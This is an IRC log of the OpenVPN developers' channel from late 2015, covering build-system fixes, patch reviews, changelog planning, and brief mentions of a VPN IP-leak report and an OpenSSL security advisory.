valdikss [~valdikss@95.215.45.33] has joined #openvpn-devel 11:45 < valdikss> Oh god, https://www.perfect-privacy.com/blog/2015/11/26/ip-leak-vulnerability-affecting-vpn-providers-with-port-forwarding/ 11:45 <@vpnHelper> Title: Port Fail: Vulnerability reveals real IP | Perfect Privacy (at www.perfect-privacy.com) 11:46 < valdikss> "vulnerability" 11:46 < valdikss> "vpn" "vulnerability" 12:26 < valdikss> I've pushed v3 block-outside-dns patch, please check and also read Selva's reply. 13:09 < valdikss> v6* 13:53 <@cron2> hrmph... i'm sure I fixed --multihome on FreeBSD at some point, but it seems to be broken again, at least for client side 14:00 <@vpnHelper> RSS Update - tickets: #634: --multihome on IPv6 sockets broken on FreeBSD/sparc64 <https://community.openvpn.net/openvpn/ticket/634> 14:10 <@cron2> plaisthos: could you give http://article.gmane.org/gmane.network.openvpn.devel/10648 a quick look? 14:10 <@vpnHelper> Title: Gmane -- PATCH Un break compilation on BSD (at article.gmane.org) 14:26 -!- Hink [~Hink@146-115-152-96.c3-0.frm-ubr1.sbo-frm.ma.cable.rcn.com] has joined #openvpn-devel 14:27 -!- Hink [~Hink@146-115-152-96.c3-0.frm-ubr1.sbo-frm.ma.cable.rcn.com] has quit [Max SendQ exceeded] 14:28 -!- Hink [~Hink@146-115-152-96.c3-0.frm-ubr1.sbo-frm.ma.cable.rcn.com] has joined #openvpn-devel 14:30 -!- Hink [~Hink@146-115-152-96.c3-0.frm-ubr1.sbo-frm.ma.cable.rcn.com] has quit [Max SendQ exceeded] 14:31 -!- Hink [~Hink@146-115-152-96.c3-0.frm-ubr1.sbo-frm.ma.cable.rcn.com] has joined #openvpn-devel 14:36 -!- Hink [~Hink@146-115-152-96.c3-0.frm-ubr1.sbo-frm.ma.cable.rcn.com] has quit [Remote host closed the connection] 16:25 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 18:32 -!- Hink [~Hink@146-115-152-96.c3-0.frm-ubr1.sbo-frm.ma.cable.rcn.com] has joined #openvpn-devel 18:36 -!- Hink [~Hink@146-115-152-96.c3-0.frm-ubr1.sbo-frm.ma.cable.rcn.com] has quit [Remote host closed the connection] 21:04 -!- Hink [~Hink@146-115-152-96.c3-0.frm-ubr1.sbo-frm.ma.cable.rcn.com] has joined #openvpn-devel 23:19 -!- Hink [~Hink@146-115-152-96.c3-0.frm-ubr1.sbo-frm.ma.cable.rcn.com] has quit [Quit: Leaving] --- Day changed Sun Nov 29 2015 01:49 * cron2 needs an ACK on the PKTINFO patch... 02:02 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:02 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:20 -!- mator_ is now known as mator 03:22 < valdikss> cron2: lev__: mattock1: what do you think of that https://sourceforge.net/p/openvpn/mailman/message/34655285/ ? 03:22 <@vpnHelper> Title: OpenVPN / Mailing Lists (at sourceforge.net) 03:25 < valdikss> cron2: lev__: mattock1: there are some options like --user and --group which are not supported on Windows but are non-fatal 03:37 <@plaisthos> cron2: what mail is that? Gmane is down :/ 03:37 <@cron2> plaisthos: argh, again... that is the "PATCH Un break compilation on BSD (at article.gmane.org) 03:37 <@cron2> plaisthos: argh, again... that is the "PATCH Un break compilation on BSD" compilation fix for d12fk's patch 03:37 <@cron2> argh 03:38 <@cron2> I sent that yesterday afternoon 03:43 <@cron2> 3-line addition to init.c to handle #ifdef IP_PKTINFO / #else branch for the BSDs 03:51 <@plaisthos> configure: error: lzo enabled but missing 03:52 <@plaisthos> I like thiese vage error messages :( 03:53 <@syzzer> plaisthos: I might be able to send patches that improve those messages in a bit 03:53 <@syzzer> been fighting configure.ac yesterday 03:53 <@plaisthos> ah found it 03:53 <@plaisthos> checking for lzo1x_1_15_compress in -llzo... no 03:53 <@plaisthos> just 10 lines above the error 03:53 <@syzzer> yes, those should really error out immediately 03:54 <@syzzer> and autoconf can actually produce decent error messages in those cases 03:54 <@plaisthos> hmpf CFLAGS but not LDFLAGS but LIBFLAGS 03:55 <@plaisthos> ./crypto_openssl.h:33:10: fatal error: 'openssl/evp.h' file not found 03:55 <@syzzer> not LIBS ? 03:55 <@plaisthos> syzzer: yeah LIBS 03:55 <@plaisthos> something strange is going on here ... 03:55 <@cron2> tbh, I find our approach to tell configure where lzo (et al) are highly inconvenient... when did become "--with-lzo=/usr/local" politically non-correct... 03:56 <@plaisthos> cron2: I think Alon reoved that 03:56 <@syzzer> cron2: as long as I can specificy CFLAGS and LDFLAGS/LIBS separately, I'm fine 03:56 <@syzzer> I don't wont to install libraries to my system to be able to compile 03:58 <@plaisthos> hm os x 10.11 does not ship openssl anymore 03:58 <@plaisthos> at least not the headers 03:59 <@syzzer> use OPENSSL_{CRYPTO,SSL}_{CFLAGS,LIBS} env variables 03:59 <@syzzer> and my patch from yesterday, otherwise the linking might fail 04:03 <@cron2> syzzer: I tend to build stuff like lzo with --prefix=/home/gert/lzo and then stuff goes to lzo/lib, lzo/include, and "--with-lzo=/home/gert/lzo" worked nicely... 04:04 <@cron2> but yes, alon did that, "because it is the right way", except that it's annoying to reconstruct the original configure command line from config.log as the quotes get lost... 04:04 <@syzzer> cron2: yeah, I had to do recently that to make curl happy 04:05 <@cron2> syzzer: with the wonders of libtool, it might not actually work to link to "the library in the compile-time tree"... 04:05 <@syzzer> I didn't like it, because it's an extra, unneeded, step 04:06 <@cron2> for lzo, it certainly works without install, yes 04:06 <@syzzer> cron2: well "works for me" with pkcs11-helper, polarssl and openssl from the compile tree 04:06 <@cron2> good enough :) 04:06 <@syzzer> not that I claim to fully understand the magic that is going on :') 04:07 <@plaisthos> syzzer: when did that ssl stuff break? 04:07 <@syzzer> anyway, I got annoyed enough by our configure.ac yesterday that I decided to fix some stuff 04:08 <@syzzer> plaisthos: I'm not sure. There's too much interaction going on, and in some specific cases it won't work. I think this is one of the things that broke cross-compiles using mingw for me too. 04:09 <@plaisthos> do I need to include -lssl in the LIBS variable? 04:09 <@syzzer> plaisthos: yes 04:09 <@syzzer> and -L../path/to/libs 04:09 <@plaisthos> yeah did only the -L/path thing 04:10 <@plaisthos> because configure only needs the path 04:10 <@plaisthos> in case of lzo it even checks if to use -llzo or lzo2 04:11 <@syzzer> yeah, autotools *can* do that, but our hacks around it break it... 04:12 <@syzzer> I currently use this for local out-of-source builds: https://gist.github.com/syzzer/1915eb57f982a50df25b 04:12 <@vpnHelper> Title: gist:1915eb57f982a50df25b · GitHub (at gist.github.com) 04:12 <@syzzer> just remove the pkcs#11 stuff to make your life a bit easier ;) 04:15 <@plaisthos> syzzer: too late 04:15 <@plaisthos> I already got my one liner: ./configure CC=clang CFLAGS=-g LZO_CFLAGS=-I/usr/local/include LZO_LIBS="-llzo2 -L/usr/local/lib" OPENSSL_CRYPTO_CFLAGS=-I/usr/local/Cellar/openssl/1.0.2d_1/include/ OPENSSL_SSL_CFLAGS=-I/usr/local/Cellar/openssl/1.0.2d_1/include/ OPENSSL_CRYPTO_LIBS="-L/usr/local/Cellar/openssl/1.0.2d_1/lib -lcrypto" OPENSSL_SSL_LIBS="-L/usr/local/Cellar/openssl/1.0.2d_1/lib -lssl" 05:38 <@cron2> thanks, now I can go on and commit more stuff without triggering 30+ buildbot failure mails every time :) 06:01 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 06:32 <@cron2> syzzer: your patch does not apply to master - is it for release/2.3? 06:33 <@cron2> manual patching against master says 06:33 <@cron2> patching file configure.ac 06:33 <@cron2> Hunk #1 succeeded at 1080 with fuzz 2 (offset -30 lines). 06:33 <@syzzer> cron2: no, probably because there's other stuff in my tree... 06:33 <@syzzer> should be for master 06:34 <@syzzer> so, this warning sounds plausible 06:34 <@cron2> ok, now why is git-am refusing this... *look* 06:34 <@syzzer> I can probably send a rebased one if needed 06:34 <@cron2> nah 06:35 <@cron2> I'll fudge the patch until git am accepts it 06:35 <@syzzer> ok :) 06:35 <@syzzer> thanks 06:36 <@vpnHelper> RSS Update - gitrepo: Un-break compilation on *BSD <https://github.com/OpenVPN/openvpn/commit/4a82a9ac0bef6db58858a42b4dc500ae9e09682d> 06:38 <@cron2> oh, indeed, the context is totally different :-) - the "crypto_aead_modes" check is not there in my context, but it should be 06:47 <@plaisthos> I noticed that too but decided to do the one line change by hand 06:48 <@plaisthos> what paramters did you use to force the git am? 06:48 <@syzzer> ah, of course, I ran into this because I was testing my AEAD code with various openssl versions 06:49 <@cron2> I was not able to find something to make it work - so in the end, I did "patch", "git diff", put that diff into the mail, and ran the "do git am, gmane lookup, put ack line in it, compose reply" script on it :) 06:49 <@syzzer> now trying to get cipher negotiation working, but this multi code keeps on biting me... 06:49 <@cron2> for a one-liner that is ok :) 06:54 <@vpnHelper> RSS Update - gitrepo: Fix openssl builds with custom-built library: specify most-dependent first <https://github.com/OpenVPN/openvpn/commit/09f2670ce27158f81b4983c06f63870a5188d4aa> 07:12 <@vpnHelper> RSS Update - gitrepo: Support duplicate x509 field values in environment <https://github.com/OpenVPN/openvpn/commit/13b585e8a4c6f9681ff23bc7fb0af71ce9d0162f> 07:20 <@syzzer> \o/ 07:20 <@cron2> thank plaisthos, I had to get that showstopper out of the way :) 07:20 <@cron2> (and selva for ACKing v1 :) ) 07:23 <@cron2> wtf... 07:24 <@cron2> we *still* haven't removed the "--enable-password-save" conditional 07:36 <@plaisthos> no we haven't 07:36 <@plaisthos> is there a patch on the mL? 07:37 <@cron2> not yet, as far as I know... I seem to remember that we decided in Munich that we want to get rid of it, but nobody has ripped it out yet :-) - I remember every few months when testing something and having not-enabled it... 07:40 <@cron2> whee, a ticket closed :) 07:40 <@syzzer> yep :D 07:41 <@cron2> so, revisit the next easy one... d12fk env var v3... 07:41 <@vpnHelper> RSS Update - gitrepo: Unbreak read username password from management <https://github.com/OpenVPN/openvpn/commit/cdd69bb7f1c207fb5a9648f36440d7c6e2dcaa76> 07:42 <@plaisthos> I will do a patch ... 07:42 <@cron2> \o/ 07:49 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 240 seconds] 07:53 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 08:11 <@cron2> so. Everything in the "easy" list done for today, now off to visit grandparents :) 08:17 <@vpnHelper> RSS Update - gitrepo: put virtual IPv6 addresses into env <https://github.com/OpenVPN/openvpn/commit/a8f8b9267183c3cfc065f344d61effe6c55c3da6> 08:18 <@cron2> next is either "fix --auth-user-pass with systemd" or "dns block patch"... 09:40 <@plaisthos> or enable-password ;) 09:45 <@cron2> I expect that one to be on the "easy" list :) - the "needs brains" list has more stuff, like "compression v2" 09:46 <@cron2> mmmh 09:47 <@cron2> more complicated than I expected 09:53 <@cron2> configure: WARNING: unrecognized options: --enable-password-save 09:53 <@cron2> \o/ 10:13 <@vpnHelper> RSS Update - tickets: #635: Password for file "openvpn.xdb" is missing <https://community.openvpn.net/openvpn/ticket/635> 10:22 < valdikss> cron2: what do you think of that https://sourceforge.net/p/openvpn/mailman/message/34655285/ ? 10:22 <@vpnHelper> Title: OpenVPN / Mailing Lists (at sourceforge.net) 10:24 <@cron2> I do not have a strong opinion on this, but Arne has a point here - we do have a mechanism to handle "I want to push this, but the client might not understand the option", and it reduces conditional code lines (which is good) 10:29 <@vpnHelper> RSS Update - gitrepo: Remove --enable-password-save option <https://github.com/OpenVPN/openvpn/commit/9ffd00e7541d83571b9eec087c6b3545ff68441f> 10:29 < valdikss> cron2: ok, i'll fix it then. 10:32 <@cron2> we're getting there... but it's getting a real good review, so the interest is high :-) 10:33 <@cron2> (we've had other important patches that sat for months(!) on the list with no review, like plaisthos' compression v2 patch... *selfblame*) 10:33 <@plaisthos> cron2, valdikss on push the client will only warn anyway 10:33 <@plaisthos> cron2: the timeout patch ;) 10:34 <@plaisthos> the compv2 is from the hackaton ;) 10:34 <@plaisthos> and I might need to resend that patch 10:34 <@plaisthos> Since I cannot remember if the last version had a mistake fixed or not 10:34 <@cron2> well, you can either just check or rebase and re-send :-) (the timeout patch is already at v2) 10:41 < valdikss> What's the difference between setenv opt and ignore-unknown-option? 10:42 <@plaisthos> valdikss: setenv opt also works with old clients < 2.3.3 10:47 <@cron2> syzzer: btw, please be poking andj tomorrow :) 10:52 <@cron2> ~. 10:52 <@cron2> oops :) 11:18 -!- roentgen [~none@unaffiliated/roentgen] has joined #openvpn-devel 13:36 <@vpnHelper> RSS Update - gitrepo: Reflect enable-password-save change in documentation <https://github.com/OpenVPN/openvpn/commit/1e9c1f09cba95ebf72083c746cf847056a61c761> 13:40 <@plaisthos> cron2: you are too fast 14:26 -!- Hink [~Hink@146-115-152-96.c3-0.frm-ubr1.sbo-frm.ma.cable.rcn.com] has joined #openvpn-devel 14:41 <@cron2> yeah... be too fast, work twice... 14:53 <@vpnHelper> RSS Update - gitrepo: Also remove second instance of enable-password-save in the man page <https://github.com/OpenVPN/openvpn/commit/80442aeed408f26700ea7570ced2409e7dd3e98b> 15:18 -!- Netsplit *.net <-> *.split quits: @mattock, @plaisthos, EvilJStoker, @andj, floppym 15:18 -!- mode/#openvpn-devel [+o andj] by ChanServ 15:18 -!- Netsplit over, joins: andj 15:18 -!- Netsplit over, joins: EvilJStoker 15:20 -!- Netsplit over, joins: floppym 15:20 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Excess Flood] 15:20 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 15:20 -!- Netsplit over, joins: plaisthos 15:20 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 15:23 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 15:28 -!- Hink [~Hink@146-115-152-96.c3-0.frm-ubr1.sbo-frm.ma.cable.rcn.com] has quit [Quit: Leaving] 15:29 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 15:29 -!- mode/#openvpn-devel [+o mattock] by ChanServ --- Log closed Sun Nov 29 16:15:51 2015 --- Log opened Mon Nov 30 07:22:39 2015 07:22 -!- ecrist [~ecrist@freebsd/contributor/openvpn.ecrist] has joined #openvpn-devel 07:22 -!- Irssi: #openvpn-devel: Total of 24 nicks [8 ops, 0 halfops, 0 voices, 16 normal] 07:22 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 07:22 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 07:23 <@ecrist> cron2: the new port update has been comitted 07:23 <@ecrist> Not sure how long the farm takes to build the package. 07:34 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 245 seconds] 07:38 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 07:45 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 260 seconds] 07:47 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 07:51 <@cron2> ecrist: good timing, given that the BSD port was broken (and fixed) yesterday :-) 08:46 <@syzzer> cron2: not sure if you get notifications about pull requests, but you might want to say something about this one: https://github.com/OpenVPN/openvpn/pull/38 08:46 <@vpnHelper> Title: fixed ipv6 netbits to 126 (4 hosts) by MartinVerges · Pull Request #38 · OpenVPN/openvpn · GitHub (at github.com) 08:46 -!- siruf [~siruf@unaffiliated/motley] has quit [Ping timeout: 260 seconds] 08:49 <@syzzer> oh, and I poked andj. he did the guilty-face again ;) 09:32 <@cron2> thanks :) - I saw the pull request, but I'm inclined to ignore it. Really. There is no shortage of IPv6 addresses. 09:36 <@ecrist> cron2: what was broken? 09:51 <@cron2> ecrist: it did not compile :) 09:59 <@ecrist> Odd that it snuck in, then. 10:00 <@ecrist> Normally the ports comitters are a bit overly pedantic 10:32 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 10:42 -!- s7r [~s7r@openvpn/user/s7r] has quit [Max SendQ exceeded] 10:43 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 10:51 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 245 seconds] 10:55 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 11:09 <@cron2> ecrist: no, I think you just missed it - it was broken from saturday evening to sunday mid-morning or so 11:09 <@cron2> (git master, not the port) 11:09 <@ecrist> ahhh 11:09 <@ecrist> the port build is from Wednesday's repo 13:22 -!- valdikss [~valdikss@95.215.45.33] has quit [Ping timeout: 245 seconds] 13:25 -!- valdikss [~valdikss@95.215.45.33] has joined #openvpn-devel 13:57 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 245 seconds] 13:59 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 17:01 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 245 seconds] 17:06 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel --- Day changed Tue Dec 01 2015 02:28 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 02:30 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 02:51 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 02:55 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 03:11 -!- cjd [~user@2c0f:f930:2:1::] has joined #openvpn-devel 03:12 -!- cjd [~user@2c0f:f930:2:1::] has left #openvpn-devel [] 03:37 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 03:52 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:52 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 05:43 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 250 seconds] 05:50 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 06:04 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 06:22 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:22 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 11:31 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 245 seconds] 11:35 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 12:26 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 264 seconds] 12:38 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 12:38 -!- mator [~mator@u163.east.ru] has quit [Ping timeout: 245 seconds] 14:49 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 245 seconds] 23:52 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 23:52 -!- mode/#openvpn-devel [+o mattock1] by ChanServ --- Day changed Wed Dec 02 2015 02:11 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 250 seconds] 02:13 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 07:06 <@mattock1> I'm adding 2.3.x to Changes.rst for OpenVPN... the current split between "New features" and "User-visible changes" is not altogether clear 07:06 <@mattock1> what do you think about having "New features" and "Behavioral changes" instead? 07:06 <@cron2> works for me 07:06 <@mattock1> the latter including changes that are known to change behavior of OpenVPN 07:07 <@mattock1> or, in other words, "can break things, even with the same config" 07:07 <@cron2> that is what I understood "User-visible changes" to mean :) 07:07 <@mattock1> yeah, I thought so, but better be explicit imho :) 07:16 <@mattock1> how granular do we want Changes.rst to be, btw? 07:16 <@mattock1> only list the major features for each major release (2.2, 2.3, 2.4)? 07:17 <@mattock1> or list each minor release (2.3.0, 2.3.1, etc.) with all its (typically minor) features, bug fixes etc? 07:18 <@mattock1> or maybe a combination of both, like "2.3_LATEST" with an overview compared to last 2.2 release, and then list the changes in all minor releases in a more granular fashion 07:36 -!- mator [~mator@u163.east.ru] has joined #openvpn-devel 07:46 <@plaisthos> mattock1: Yeah that was the idea 07:46 <@mattock1> plaisthos: a combination of the above two approaches? 07:47 <@plaisthos> I think New features and behavioural changes is better than my heading 07:47 <@plaisthos> but that was my idea 07:48 <@plaisthos> I would add subheadings for the individual releases 07:48 <@plaisthos> For -master we only need this after 2.4.0 obviously 07:48 <@mattock1> yeah, I've been going through git logs doing just that 07:48 <@plaisthos> the Changes.rst is probably also not complete or anything. I just wrote what I remembered top of my head 07:49 <@mattock1> when all the minor releases are done, I/we can add a summary of changes in 2.3 (latest version) compared to 2.2 (latest version) 07:49 <@plaisthos> syzzer should also looked at the crypto stuff 07:49 <@mattock1> yep, I will put my version somewhere for review before sending a patch 07:49 <@plaisthos> I have no idea of 2.2 07:49 <@plaisthos> so I have also no idea of 2.2 => 2.3 07:50 <@mattock1> I can get that high-level information from release announcements 07:50 <@plaisthos> I got involved in OpenVPN Developement when 2.3alpha or rcsomething was released 07:50 <@mattock1> "major features/changes in 2.3" 07:51 <@mattock1> soon I can tell you exactly when you got involved in the project, I've almost gone to 2.3_alpha* now :P 07:56 <@plaisthos> :) 08:02 <@plaisthos> I just found one of my very first htreads on the openvpn ml 08:02 <@plaisthos> where I fight with Alon about my first Android patch 08:02 <@plaisthos> and later Adriaan joins my side 08:05 <@mattock1> ah, those golden times :P 08:08 <@mattock1> plaisthos: I don't see you in commit logs for 2.3-alpha1, but I do see you in 2.3_alpha2 08:08 <@mattock1> so that's probably when you joined the project 08:08 <@plaisthos> yeah 08:08 <@plaisthos> I think my first android client was based on 2.3-alpha1 08:08 <@plaisthos> when that was still master 08:09 <@plaisthos> now three year later I still have no changed to a release branch :) 08:13 <@mattock1> there are plenty of commits from you in 2.3 08:13 <@mattock1> bug and documentation fixes mainly 08:15 <@plaisthos> yeah 08:15 <@plaisthos> stuff that happens when you work on a new client 08:15 <@plaisthos> you trip over all this stuff 08:27 <@mattock1> wow, syzzer has also been with us since 2.3_alpha1 08:27 <@mattock1> at least 08:27 <@mattock1> andj was the "Fox-IT man" at that time, though 08:37 <@cron2> andj introduced syzzer at one of the meetings... brussels? 09:23 <@plaisthos> possible 09:25 <@plaisthos> my first openvpn meeting was Brussel and the Fox-It guys already knew the first big OpenSSL that was to publish 3 days later and we discussed implecations on OpenVPN 09:42 -!- Netsplit *.net <-> *.split quits: luckman212, valdikss, siruf, EvilJStoker, mator 09:43 -!- Netsplit *.net <-> *.split quits: @mattock, eliasp_ 09:44 -!- Netsplit *.net <-> *.split quits: @mattock1, @syzzer, Eagle_Erwin, @vpnHelper, arlen 09:44 -!- Netsplit *.net <-> *.split quits: @d12fk, lev__, @andj 09:45 -!- Netsplit *.net <-> *.split quits: ender|, @plaisthos, reators, s7r, @cron2 10:19 -!- Netsplit over, joins: @cron2, reators, @plaisthos, s7r, ender|, @andj, @mattock, mator, valdikss, siruf (+6 more) 10:29 -!- Netsplit *.net <-> *.split quits: @andj, reators, ender|, @cron2, @vpnHelper, Eagle_Erwin, s7r, luckman212, @syzzer, @mattock, (+2 more, use /NETSPLIT to show all of them) 10:29 -!- Netsplit *.net <-> *.split quits: siruf, EvilJStoker, valdikss, mator 10:35 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:35 -!- d12fk [~heiko@exit0.net] has joined #openvpn-devel 10:35 -!- lev__ [~lev@stipakov.fi] has joined #openvpn-devel 10:35 -!- ServerMode/#openvpn-devel [+oo mattock1 d12fk] by verne.freenode.net 10:53 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 10:53 -!- reators [~holger@2001:1a80:2000:2:3933:1ebb:3483:6071] has joined #openvpn-devel 10:53 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 10:53 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 10:53 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 10:53 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 10:53 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 10:53 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 10:53 -!- ServerMode/#openvpn-devel [+oooo cron2 plaisthos andj vpnHelper] by verne.freenode.net 10:53 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel 10:53 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 10:53 -!- Eagle_Erwin [~Erwin@erwinb.xs4all.nl] has joined #openvpn-devel 10:53 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 10:53 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 10:53 -!- valdikss [~valdikss@95.215.45.33] has joined #openvpn-devel 10:53 -!- mator [~mator@u163.east.ru] has joined #openvpn-devel 10:53 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:53 -!- ServerMode/#openvpn-devel [+oo syzzer mattock] by verne.freenode.net 14:06 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 14:10 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 14:10 -!- mode/#openvpn-devel [+o dazo] by ChanServ 15:00 -!- dazo is now known as dazo_afk --- Day changed Thu Dec 03 2015 01:12 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:12 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 05:00 -!- dazo_afk is now known as dazo 13:30 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 14:19 <@cron2> *grumble 14:22 <@syzzer> ? 14:55 <@cron2> I just spent a few hours trying to make airprint work across vpn, and the end result seems to be "iOS just does not care about mDNS packets on VPN tun" *or* "iOS OpenVPN does not properly handle mcast" - which I can't tell, because stupid closed OS 14:55 <@cron2> and I should have known before starting that this would eat way too much time... but it was "an interesting challenge"... 15:21 -!- Hink [~Hink@146-115-152-96.c3-0.frm-ubr1.sbo-frm.ma.cable.rcn.com] has joined #openvpn-devel 16:44 -!- Hink [~Hink@146-115-152-96.c3-0.frm-ubr1.sbo-frm.ma.cable.rcn.com] has quit [Quit: Leaving] 16:45 -!- Hink [~Hink@146-115-152-96.c3-0.frm-ubr1.sbo-frm.ma.cable.rcn.com] has joined #openvpn-devel 18:18 -!- Hink [~Hink@146-115-152-96.c3-0.frm-ubr1.sbo-frm.ma.cable.rcn.com] has quit [Quit: Leaving] 19:43 -!- dazo is now known as dazo_afk 23:27 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 23:27 -!- mode/#openvpn-devel [+o mattock1] by ChanServ --- Day changed Fri Dec 04 2015 04:19 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 245 seconds] 04:49 -!- dazo_afk is now known as dazo 05:41 -!- eliasp [~quassel@HSI-KBW-46-223-71-248.hsi.kabel-badenwuerttemberg.de] has joined #openvpn-devel 07:22 < mator> i wonder what the hype with iOS anyway ? stick to linux/android/windows and other unix versions 07:22 * mator not a fan of apple <overpriced> products 07:40 <@cron2> mator: do you do in-house IT support, like, for your mom or such= 07:40 <@cron2> the difference between "Son, come and fix my Windows PC for me!" and "my iPad is just working nicely" is striking :-) 07:41 <@cron2> the amount of time I have saved in not having to support my mom's Win7 PC since she got an overpriced iPad is worth WAY more than the iPad (plus, we spread the price among all her sons) :) 07:42 <@cron2> the closedness of iOS is actually a great benefit since no app can mess up the system for everything else - which Android is slowly getting to 07:52 < mator> well, true. but my mom has samsung tab right now and it is just works 07:53 < mator> she never touched PC before ;) 07:53 <@plaisthos> *sigh* 07:53 <@plaisthos> another OpenSSL version 07:57 < mator> http://i.imgur.com/Gs0WKOv.gifv 07:59 <@cron2> comparing samsung to apple isn't really pointing out that "apple is expensive", no? The samsung phones are about the same price here... (and I'd never ever buy a samsung device again, given that they are totally unable and unwilling to provide clean android and updates) 08:00 <@plaisthos> and have bugs that no other android phone has 08:00 <@plaisthos> like dns only works if dns servers are in the vpn range 08:03 < mator> cron2, samsung galaxy tab s2 8" tab here is about 22k rubles , while apple ipad mini 4 is at least 32k rub 08:04 < mator> 1/3 price difference 08:13 <@plaisthos> Samsung Galaxy Tab S2 T715N 24,6 cm (8 Zoll) => 439 EUR 08:15 <@plaisthos> Apple iPad mini 4 20,1 cm (7,9 Zoll) Tablet PC (WiFi, 16GB Speicher) spacegrey => 375 EUR 08:15 <@plaisthos> the ipad mini is even cheaper at the moment 08:16 <@plaisthos> and samsuns s6 and iphone 6 are both at something ridiclous at over 600 EUR 08:16 <@plaisthos> yeah, new openssl version compiles 08:17 -!- mator [~mator@u163.east.ru] has quit [Ping timeout: 260 seconds] 08:30 -!- mator [~mator@u163.east.ru] has joined #openvpn-devel 08:51 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:52 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 09:32 -!- roentgen [~none@unaffiliated/roentgen] has joined #openvpn-devel 09:50 -!- roentgen [~none@unaffiliated/roentgen] has quit [Remote host closed the connection] 10:16 <@cron2> so what is new in openssl? 10:16 <@cron2> aka "is it relevant for us" 10:44 <@mattock1> lovely, new openvpn emergency release? 10:47 -!- dazo is now known as dazo_afk 11:36 -!- roentgen [~none@unaffiliated/roentgen] has joined #openvpn-devel 12:14 <@plaisthos> dhe 12:15 <@plaisthos> is somewhat broken 12:15 <@plaisthos> so relevant for us :( 14:08 <@mattock1> looks like they're not particularly critical 14:08 <@mattock1> maybe releasing next week would make sense 14:09 <@mattock1> either just a Windows installer, or 2.3.9 14:10 < valdikss> Severity: Moderate 14:10 < valdikss> https://www.openssl.org/news/secadv/20151203.txt 14:10 <@mattock1> yep, skimmed through those 14:10 < 